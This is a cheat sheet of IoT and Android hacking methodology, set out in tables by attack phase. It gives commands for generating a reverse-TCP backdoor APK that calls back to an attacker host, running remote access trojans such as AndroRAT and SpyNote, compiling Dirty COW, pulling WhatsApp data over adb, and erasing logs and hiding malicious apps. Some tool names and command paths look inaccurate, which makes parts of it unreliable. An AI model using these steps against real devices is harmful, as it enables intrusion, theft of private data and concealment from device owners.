# IoT Hacking Methodology – Cheat Sheet

## 1. Reconnaissance

Goal: Gather information about IoT devices, services, and networks.

|  |  |  |
| --- | --- | --- |
| Tool | Description | Commands / Usage |
| Shodan | Search engine for IoT devices exposed on the internet. | shodan search 'port:1883' |
| Censys | Collects and analyzes data about internet-connected devices. | censys search 'protocols: mqtt' |
| Bevywise MQTTRoute | MQTT broker to test IoT device communications. | python mqttroute.py |
| Nmap | Port scanning and service enumeration. | nmap -sV -p 1883,5683,8883 <target> |

## 2. Vulnerability Research

Goal: Identify flaws in IoT firmware, services, and applications.

|  |  |  |
| --- | --- | --- |
| Tool | Description | Commands / Usage |
| Binwalk | Firmware analysis tool for extracting and reverse-engineering. | binwalk firmware.bin |
| Firmware-Mod-Kit | Unpack, modify, and repack IoT firmware images. | ./extract-firmware.sh firmware.bin |
| IoTSeeker | Finds IoT devices using default credentials. | python iotseeker.py <IP\_range> |

## 3. Exploitation

Goal: Exploit IoT vulnerabilities to gain control.

|  |  |  |
| --- | --- | --- |
| Tool | Description | Commands / Usage |
| Metasploit | Framework for exploiting IoT and embedded devices. | msfconsole use exploit/linux/misc/multi\_mqtt |
| MSFvenom | Payload generator for IoT and mobile exploitation. | msfvenom -p android/meterpreter/reverse\_tcp LHOST=<IP> LPORT=<PORT> -o backdoor.apk |
| AndroRAT | Remote Access Trojan for Android. | java -jar AndroRAT.jar -i <IP> -p <PORT> |

## 4. Privilege Escalation

Goal: Escalate privileges on IoT devices.

|  |  |  |
| --- | --- | --- |
| Tool | Description | Commands / Usage |
| Dirty COW Exploit | Linux kernel privilege escalation exploit. | gcc -pthread dirty.c -o dirty -lcrypt ./dirty |
| CheckRoot | Detect root/jailbreak status on Android/iOS devices. | checkroot --scan |

## 5. Data Extraction

Goal: Exfiltrate sensitive data from IoT devices.

|  |  |  |
| --- | --- | --- |
| Tool | Description | Commands / Usage |
| ADB (Android Debug Bridge) | Extract data and backup apps from Android devices. | adb pull /sdcard/whatsapp/ backup/ |
| Wireshark | Capture and analyze IoT device traffic. | wireshark & |
| Tcpdump | Command-line traffic capture for IoT devices. | tcpdump -i wlan0 port 1883 |

## 6. Maintaining Access

Goal: Persist access using backdoors or RATs.

|  |  |  |
| --- | --- | --- |
| Tool | Description | Commands / Usage |
| AndroRAT | Install persistent Android RAT. | java -jar AndroRAT.jar -i <IP> -p <PORT> |
| SpyNote | Android RAT for persistence. | java -jar spynote.jar |
| PhoneSploit Pro | Exploit ADB for remote access. | phonesploit connect <IP>:5555 |

## 7. Covering Tracks

Goal: Hide malicious activities on IoT devices.

|  |  |  |
| --- | --- | --- |
| Tool | Description | Commands / Usage |
| LogEraser | Remove Android/iOS system logs. | logeraser --clean |
| HideApp | Hide malicious apps from the device menu. | hideapp install backdoor.apk |